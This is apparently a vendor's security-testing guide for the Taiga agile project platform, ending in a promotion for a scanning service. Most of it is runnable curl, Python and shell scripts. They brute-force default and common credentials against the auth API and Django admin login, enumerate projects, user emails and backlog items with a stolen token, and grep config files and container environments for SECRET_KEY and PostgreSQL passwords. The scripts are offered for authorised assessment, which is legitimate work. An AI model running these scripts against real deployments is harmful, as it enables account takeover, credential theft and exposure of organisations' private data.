Taiga is a widely deployed open-source agile project management platform built on Django (Python) and Angular, used by development teams to manage sprints, user stories, epics, issues, and kanban boards. Its REST API and Django admin backend are the primary attack surfaces. Key assessment areas: Taiga's REST API returns auth tokens that provide access to all project data including roadmaps, epics, and user stories; the Django admin panel at /admin/ provides superuser-level access to all database records; config.py (or settings/local.py) stores the PostgreSQL password and Django SECRET_KEY (enabling session cookie forgery); a default superuser account is created during initial setup and may retain weak credentials in self-hosted deployments; and Taiga's media file directory may be publicly accessible without authentication if the web server is misconfigured. This guide covers systematic Taiga security assessment.
# Taiga — authentication and default credential testing
TAIGA_URL="https://taiga.example.com"
# Obtain auth token via REST API — try common credentials
# Default setup often uses admin@taiga.io / 123123 or custom superuser created during install
curl -s -X POST "${TAIGA_URL}/api/v1/auth" \
-H "Content-Type: application/json" \
-d '{"type":"normal","username":"admin","password":"123123"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'auth_token' in d:
print(f'AUTH TOKEN: {d[\"auth_token\"]}')
print(f'User: {d.get(\"username\")} ({d.get(\"email\")})')
print(f'Is superuser: {d.get(\"is_superuser\")}')
else:
print(f'Login failed: {d}')
" 2>/dev/null
# Try additional common default credentials
for CREDS in "admin:admin" "taiga:taiga" "admin:password" "admin:123456"; do
USER="${CREDS%:*}"
PASS="${CREDS#*:}"
STATUS=$(curl -s -X POST "${TAIGA_URL}/api/v1/auth" \
-H "Content-Type: application/json" \
-d "{\"type\":\"normal\",\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'auth_token' in d else 'FAIL')" 2>/dev/null)
echo "${CREDS}: $STATUS"
done
# Check if registration is open — unauthenticated user registration
curl -s -X POST "${TAIGA_URL}/api/v1/auth/register" \
-H "Content-Type: application/json" \
-d '{"type":"public","username":"testuser123","email":"test@example.com","password":"TestPassword123!","full_name":"Test User","accepted_terms":true}' \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Registration open:', 'auth_token' in d or 'id' in d)
print(json.dumps(d, indent=2)[:300])
" 2>/dev/null
# Taiga REST API — project and user data enumeration
TAIGA_URL="https://taiga.example.com"
AUTH_TOKEN="your-taiga-auth-token"
# List all projects accessible to the authenticated user
curl -s "${TAIGA_URL}/api/v1/projects" \
-H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
print(f'Projects: {len(d)}')
for p in d:
print(f' [{p.get(\"id\")}] {p.get(\"name\")} slug={p.get(\"slug\")} members={p.get(\"total_memberships\")} is_private={p.get(\"is_private\")}')
" 2>/dev/null
# Enumerate all users registered in the Taiga instance
curl -s "${TAIGA_URL}/api/v1/users" \
-H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
print(f'Users: {len(d)}')
for u in d[:20]:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} email={u.get(\"email\")} full_name={u.get(\"full_name\")}')
" 2>/dev/null
# Enumerate user stories across all projects
PROJECT_ID="1"
curl -s "${TAIGA_URL}/api/v1/userstories?project=${PROJECT_ID}&page_size=100" \
-H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
print(f'User stories in project ${PROJECT_ID}: {len(d)}')
for s in d[:10]:
print(f' [{s.get(\"ref\")}] {s.get(\"subject\")} status={s.get(\"status_extra_info\",{}).get(\"name\")} assigned={s.get(\"assigned_to_extra_info\",{}).get(\"username\")}')
" 2>/dev/null
# Get project milestones/sprints — timeline information
curl -s "${TAIGA_URL}/api/v1/milestones?project=${PROJECT_ID}" \
-H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
for m in d:
print(f'Sprint: {m.get(\"name\")} ({m.get(\"estimated_start\")} to {m.get(\"estimated_finish\")})')
" 2>/dev/null
# Taiga config.py and Django admin security testing
# config.py / settings/local.py — PostgreSQL credentials and SECRET_KEY
cat /home/taiga/taiga-back/settings/local.py 2>/dev/null | \
grep -E "PASSWORD|SECRET_KEY|DATABASES|TAIGA_SECRET_KEY"
# DATABASES['default']['PASSWORD'] — PostgreSQL password
# SECRET_KEY — Django secret for session cookie signing
# Alternate config location (Docker deployments)
docker exec taiga-back env 2>/dev/null | \
grep -E "TAIGA_SECRET_KEY|POSTGRES_PASSWORD|DATABASE_URL|DJANGO_SECRET"
# Django admin panel — access with superuser credentials
# Navigate to: ${TAIGA_URL}/admin/
# Check for model access: users/auth/users — all user records with password hashes
curl -s -c /tmp/taiga_sess -b /tmp/taiga_sess \
-X POST "${TAIGA_URL}/admin/login/" \
--data "username=admin&password=123123&next=/admin/" \
-L 2>/dev/null | grep -i "dashboard\|site administration\|invalid" | head -3
# PostgreSQL direct access — user table with password hashes
psql -U taiga -d taiga 2>/dev/null << 'EOF'
SELECT id, username, email, is_superuser, is_active, date_joined
FROM users_user
WHERE is_active = true
ORDER BY is_superuser DESC, id
LIMIT 20;
EOF
# Check if media files are publicly accessible (unauthenticated)
# Taiga stores project attachments in the media/ directory
curl -s -o /dev/null -w "%{http_code}" \
"${TAIGA_URL}/media/attachments/project/" 2>/dev/null
# 200/403 difference: 200 = directory listing enabled (critical)
| Security Test | Method | Risk |
|---|---|---|
| Default superuser credential exploitation | POST /api/v1/auth with admin:123123 or common passwords — auth_token returned; full API access to all projects, user stories, epics, issues, wiki pages, and user data across all projects | Critical |
| REST API project and user enumeration | GET /api/v1/projects — all projects with member counts; GET /api/v1/users — all registered users with emails; GET /api/v1/userstories — all backlog items with content and assignees; reveals entire organizational structure and roadmap | High |
| Django admin panel access | POST /admin/login/ with superuser credentials — full Django admin access; read/write to all database tables including auth_user (password hashes), all project tables, sprint data, and attachments | Critical |
| config.py SECRET_KEY and PostgreSQL credential extraction | Read settings/local.py — DATABASES PASSWORD and SECRET_KEY; SECRET_KEY enables session cookie forgery for any user; PostgreSQL access exposes all data and password hashes | Critical |
| Unauthenticated media file access | GET /media/attachments/ — if web server serves media directory without Django authentication; project attachments, screenshots, and uploaded documents accessible to unauthenticated users | High (if misconfigured) |
Ironimo tests Taiga deployments for default credential exploitation via REST API authentication, complete project and user enumeration including emails and roadmaps, Django admin panel access control assessment, config.py SECRET_KEY and PostgreSQL credential extraction, open registration testing, media file unauthenticated access verification, session cookie forgery feasibility when SECRET_KEY is exposed, and PostgreSQL user password hash extraction from users_user table.
Start free scan